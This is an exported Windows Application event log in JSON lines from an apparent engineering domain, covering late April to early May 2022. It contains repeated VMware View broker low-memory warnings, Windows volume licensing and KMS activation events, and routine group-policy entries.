{"@timestamp":1651024045275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 27 03:47:25 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168614}}
{"@timestamp":1651067249568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 27 15:47:29 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168615}}
{"@timestamp":1651070660042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168616}}
{"@timestamp":1651072843025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/17:15:20:42;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168617}}
{"@timestamp":1651072844179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600A1D1E70370CBF5183D9F33F3EE06B45AF89464BAD32CDC48CD59BE7D7E31BB2A286BC4C0BA34478C0F05FF95DCAC41DA4E641AB6AD51E2B92431E8A8E554974A6790A918F6E4BE7A728091B0FCFBCD0FA3DD09368D4E0807C6ADE8DD396A8118ED75381EB96A647709475B73E6E4C9E4E65C8B7D8669BBCC7DAC2B1BEEA95169DDC0FA69BE2884D33C36009450CB9AA7905962126185A5038DFA9DEB5DB7EEB3586FABF3D85D99427728CFC71E321BB2CE2680F91166DC161E7E7B465DB3AA1F4555D00E41C369C3AA733E5BDBD1E89D90474DBD7870F16FD416B9B8398A980EF395EB29A883B0A9FEC9C671617691006E044A8917B6BB857E5CF8CB33CDDBF3","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/04/27 15:20, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168618}}
{"@timestamp":1651072844306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"0000060069258D370B2063819141329BD356B503B7714AD132EE6041DE4272CC51F2E3658C95C306A60407A3570BE5CC6372A4A4DCE38DAC2E82C719962A4A4E1C617BF6B11A13F0D264DAA7CF439075123BF4FDA4F8A16797477E4C654FF4F60BFBFC5E6DA9D8007CBB77D423E38DD382552B622073EBBBEB9EA46B550E0E8721EFEE7EF0DE50AE14DFD3963B24C40023EEC0C3718B3FE6E0A817F2A70762F65C1D470B740D69509921FA001E3B803CDFFC6C1A08649E816594567C6DD2704676BF50C9D5CC1A40AF4B37F4A19EBC12F182F3BFA22B1DCA0FC5914C804E7599E2F1048B0C1336CCFBCE8E6420A281F8C6BB31251CE4CC3FDFEA1524CAF6E9DFC5E3631B","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/04/27 15:20"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168619}}
{"@timestamp":1651072844453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168620}}
{"@timestamp":1651072844455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168621}}
{"@timestamp":1651072844456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168622}}
{"@timestamp":1651072844514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168623}}
{"@timestamp":1651072844591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168624}}
{"@timestamp":1651072844614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168625}}
{"@timestamp":1651072844852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/24:15:20:44;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168626}}
{"@timestamp":1651072844879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168627}}
{"@timestamp":1651072874910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-05-04T15:20:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168628}}
{"@timestamp":1651110453581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 28 03:47:33 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168629}}
{"@timestamp":1651128451778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168630}}
{"@timestamp":1651153657613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 28 15:47:37 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168631}}
{"@timestamp":1651172445393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4111,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["‎Monday, ‎April ‎18, ‎2022 11:14:47 PM"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168632}}
{"@timestamp":1651190924668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168633}}
{"@timestamp":1651196861643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 29 03:47:41 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168634}}
{"@timestamp":1651215457674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/24:15:21:37;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168635}}
{"@timestamp":1651215487685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-05-04T15:21:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168636}}
{"@timestamp":1651240065660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 29 15:47:45 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168637}}
{"@timestamp":1651253158432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168638}}
{"@timestamp":1651283269682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 30 03:47:49 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168639}}
{"@timestamp":1651314010929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168640}}
{"@timestamp":1651326473700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 30 15:47:53 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168641}}
{"@timestamp":1651369678370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 01 03:47:58 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168642}}
{"@timestamp":1651376963903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168643}}
{"@timestamp":1651412882395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 01 15:48:02 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168644}}
{"@timestamp":1651434995600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168645}}
{"@timestamp":1651456086412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 02 03:48:06 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168646}}
{"@timestamp":1651493987426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168647}}
{"@timestamp":1651499290320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 02 15:48:10 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168648}}
{"@timestamp":1651542494877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 03 03:48:14 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168649}}
{"@timestamp":1651555440230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168650}}
{"@timestamp":1651585699286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 03 15:48:19 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168651}}
{"@timestamp":1651619473920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168652}}
{"@timestamp":1651628903448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 04 03:48:23 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168653}}
{"@timestamp":1651672107312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 04 15:48:27 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168654}}
{"@timestamp":1651677145978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168655}}
{"@timestamp":1651677739920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/24:15:21:19;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168656}}
{"@timestamp":1651677741063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"000006004B3CC9628BA588BC00A150E4D378D26196CE9E2FEAB5E976BCFA38052A0495F7DB0DBEB7C9EC9BE1AC3AB70A145A72D519F48EC79B6624AA01C1A75165201EDEC9F3330D258032BF0617B22C90F78FC08607BF533FB977A799055A2002D647460A4476A74F37800650AC72658CC379485A183C02D52133022BBCDCB7CAD9EEBB5639020021154B1A590D77D858EACD946C78705A0EA4C9E2C76C70FFE6997D3F3DF5D0F0299947A5F433276B55DD7210A013605C619686C64272C80C55680F73FA29DAD28E24883A46BED24372F3887CF8A85A64B83F3E5373B724CCD0491E5443E50C8C213EBD8358BC6FFDF7781983E2717E70AB337F03CCDF2C3755E5F499","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/05/04 15:22, 0, 1, 249119, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168657}}
